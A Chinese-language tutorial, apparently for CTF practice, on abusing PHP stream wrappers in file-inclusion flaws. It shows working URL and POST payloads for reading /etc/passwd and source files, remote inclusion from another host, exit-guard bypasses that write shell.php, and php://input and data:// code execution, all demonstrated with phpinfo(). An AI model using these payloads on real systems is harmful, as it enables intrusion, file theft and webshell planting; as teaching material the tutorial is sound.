php檔案包含中的偽協議
php中常見的偽協議
php帶有很多內建URL風格的封裝協議,這類協議與fopen()、copy()、file_exists()、filesize()等檔案系統函式所提供的功能類似。
file:// — 訪問本地檔案系統 http:// — 訪問 HTTP(s) 網址 ftp:// — 訪問 FTP(s) URLs php:// — 訪問各個輸入/輸出流(I/O streams) zlib:// — 壓縮流 data:// — 資料(RFC 2397) glob:// — 查詢匹配的檔案路徑模式 phar:// — PHP 歸檔 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音訊流 expect:// — 處理互動式的流
php.ini
- php.ini中依賴的條件
allow_url_fopen:off/on
allow_url_include :off/on
在php.ini裡有兩個重要的引數allow_url_fopen
和allow_url_include
allow_url_fopen
:預設值是ON,允許url裡的封裝協議訪問檔案。允許將URL(如http://或ftp://)作為檔案處理。
allow_url_include
:預設值是OFF,不允許包含url裡的封裝協議包含檔案。是否允許include/require開啟URL(如http://或ftp://)作為檔案處理。
file://協議
- 作用
用於訪問本地檔案系統,通常用來讀取本地檔案
allow_url_fopen
與allow_url_include
的影響。include()/require()/include_once()/require_once()
引數可控的情況下,如匯入為非.php
檔案,則仍按照php語法進行解析,這是include()
函式所決定的。
- 說明
file://
檔案系統是 PHP 使用的預設封裝協議,展現了本地檔案系統。當指定了一個相對路徑(不以/、、\或 Windows 碟符開頭的路徑)提供的路徑將基於當前的工作目錄。在很多情況下是指令碼所在的目錄,除非被修改了。使用 CLI 的時候,目錄預設是指令碼被呼叫時所在的目錄。在某些函式裡,例如 fopen()
file_get_contents()
,include_path
會可選地搜尋,也作為相對的路徑。
- 用法
直接讀檔案
http://127.0.0.1/include.php?file=./phpinfo.txt
file://[檔案的絕對路徑和檔名]
http://127.0.0.1?file=file:///etc/passswd
注:
file://
偽協議在雙OFF的時候也可以用,用於本地檔案包含
file://
協議必須是絕對路徑
http://協議&https://協議
說明:
一般用於遠端檔案包含
條件:
allow_url_fopen:on
allow_url_include :on
用法:
示例:
http://127.0.0.1/index.php?file=http://192.168.100.1/phpinfo.txt
php://協議
php://filter
說明:
php://filter是一種元封裝器,用於資料流開啟時篩選過濾應用。這對於一體式(all-in-one)的檔案函式非常有用。類似readfile()、file()、file_get_contents(),在資料流讀取之前沒有機會使用其他過濾器。
條件:
需要開啟allow_url_include
引數:
名稱 | 描述 |
---|---|
resource=<要過濾的資料流> | 這個引數是必須的。它指定了你要篩選過濾的資料流。 |
read=<讀鏈的篩選列表> | 該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔 |
write=<寫鏈的篩選列表> | 該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔 |
<;兩個鏈的篩選列表> | 任何沒有以 read= 或 write= 作字首 的篩選器列表會視情況應用於讀或寫鏈。 |
可用的過濾器列表
字串過濾器 | 作用 |
---|---|
string.rot13 | 等同於str_rot13(),rot13變換 |
string.toupper | 等同於str_toupper(),轉大寫 |
string.tolower | 等同於str_tolower(),轉小寫 |
string.strip_tags | 等同於strip_tags(),去處html、php標籤 |
轉換過濾器 | 作用 |
---|---|
convert.base64-encode&convert.base64-decode | 等同於base64_encode() 和base64_decode() ,base64編碼解碼 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字串與 8-bit 字串編碼解碼 |
壓縮過濾器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地檔案系統中建立 gzip 相容檔案的方法,但不產生命令列工具如 gzip的頭和尾資訊。只是壓縮和解壓資料流中的有效載荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地檔案系統中建立 bz2 相容檔案的方法。 |
加密過濾器 | 作用 |
---|---|
mcrypt.* | libmcrypt 對稱加密演算法 |
mdecrypt.* | libmcrypt 對稱解密演算法 |
用法:
直接讀檔案:
php://filter/resource=flag.php
讀出的檔案以base64的方式輸出:
php://filter/read=convert.base64-encode/resource=upload.php
這是使用的過濾器是convert.base64-encode.它的作用就是讀取upload.php的內容進行base64編碼後輸出。可以用於讀取程式原始碼經過base64編碼後的資料
讀出的檔案以全為大寫字母的方式輸出:
php://filter/read=string.toupper/resource=flag.php
注:filter和string過濾器連用可以對字串進行過濾。filter的read和write引數有不同的應用場景。read用於include()和file_get_contents(),write用於file_put_contents()中。
file_get_contents()
:把整個檔案讀入一個字串中。
file_put_contents()
把一個字串寫入檔案中。
一些繞過方式\題目1:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
方法1:
txt=aPD9waHAgcGhwaW5mbygpOw==&filename=php://filter/write=convert.base64-decode/resource=shell.php
base64編碼中只包含64個可列印字元,而PHP在解碼base64時,遇到不在其中的字元時,將會跳過這些字元,僅將合法字元組成一個新的字串進行解碼。
在解碼的過程中,字元<、?、;、>、空格等一共有7個字元不符合base64編碼的字元範圍將被忽略,所以最終被解碼的字元僅有“phpexit”和我們傳入的其他字元。
“phpexit”一共7個字元,因為base64演算法解碼時是4個byte一組,所以給他增加1個“a”一共8個字元。這樣,"phpexita"被正常解碼,而後面我們傳入的webshell的base64內容也被正常解碼。結果就是<?php exit; ?>
沒有了。
在終端中測試:
➜ ~ echo "phpexitPD9waHAgcGhwaW5mbygpOw==" | base64 -d
Invalid character in input stream.
➜ ~ echo "phpexitaPD9waHAgcGhwaW5mbygpOw==" | base64 -d
�^�+Z<?php phpinfo();%
方法2:
txt=PD9waHAgcGhwaW5mbygpOw==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
strip_tags()
:剝去字串中的 HTML 標籤
phpstrom開啟斷點除錯 檢視程式執行順序
1.$content:'';
2.引數傳入file_put_contents($_POST['filename'], $content);
$content:"PD9waHAgcGhwaW5mbygpOw==";
3.執行string.strip_tags,base64解密,寫入檔案
可以看到當string.strip_tags執行時,$content的值為"PD9waHAgcGhwaW5mbygpOw==",剝離HTML標籤這個東西被剔除,就是解碼是放在剔除之後才執行的。所以當執行完成後,shell.php中的內容為<?php phpinfo();
方法3:
txt=<?cuc cucvasb();&filename=php://filter/write=string.rot13/resource=shell.php
如果使用rot-13,則該方法僅限於當short_open_tag不開啟的時候;
執行後的shell.php的檔案內容為<?php phpinfo();
php://input
說明:
php://input可以訪問請求的原始資料的只讀流,將post請求的資料當作php程式碼執行。當傳入的引數作為檔名開啟時,可以將引數設為php://input,同時post想設定的檔案內容,php執行時會將post內容當作檔案內容。
主要用於命令執行,可以進行檔案寫入。
用法:
程式碼如下:
<?php @include($_GET[“file”]); ?>
命令執行:
get:http://127.0.0.1/index.php?file=php://input
post:<?php phpinfo(); ?>
檔案寫入:
get:http://127.0.0.1/index.php?file=php://input
post:<?php fputs(fopen('shell.php','w'),'<?php phpinfo(); ?>')?>
enctype="multipart/form-data"
的時候 php://input
是無效的
data://協議
說明:
自PHP>=5.2.0起,可以使用data://資料流封裝器,以傳遞相應格式的資料。通常可以用來執行PHP程式碼。一般需要用到base64編碼傳輸
條件:
allow_url_fopen:on
allow_url_include :on
php>5.2
示例:
以base64的形式寫入
http://127.0.0.1/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://127.0.0.1/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
以html的形式寫入
http://127.0.0.1/index.php?file=data://text/plain,<?php phpinfo()?>
http://127.0.0.1/index.php?file=data://text/plain,%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b
phar://協議
說明:
這個引數是就是 PHP 解壓縮包的⼀個函式,不管字尾是什麼,都會當做壓縮包來解壓。並且相對路徑和絕對路徑都可以使⽤。
條件:
PHP >= 5.3
用法:
phar://test.[zip/jpg/png…]/file.txt
示例:
可以使用相對路徑,可以使用絕對路徑
http://127.0.0.1/index.php?file=phar://flag.zip/flag.txt
http://127.0.0.1/index.php?file=phar:///Users/XXX/Documents/Language/php/flag.zip/flag.txt
其實可以將任意字尾名的檔案(必須要有後綴名),只要是zip格式壓縮的,都可以進行解壓。
zip://協議
說明:
和phar://一樣用於讀取壓縮檔案,但是⽤法不⼀樣,在雙OFF的時候也可以用。不過對於"zip://test.zip#file.txt"中的"#"要編碼為"%23".因為url的#後的內容不會被傳送。
條件:
PHP >= 5.2
用法:
?file=zip://[壓縮⽂件絕對路徑]#[壓縮⽂件內的⼦⽂件名]
注:
-
需要指定 絕對路徑
-
“#” 要注意 URL 編碼
示例:
http://127.0.0.1/index.php?file=zip:///Users/XXX/Documents/Language/php/flag.zip#flag.txt
http://127.0.0.1/index.php?file=zip:///Users/XXX/Documents/Language/php/flag.zip%23flag.txt
各協議使用條件
從網上看到了張圖片,寫的還挺全的,在此貼一下
參考
https://www.leavesongs.com/PENETRATION/php-filter-magic.html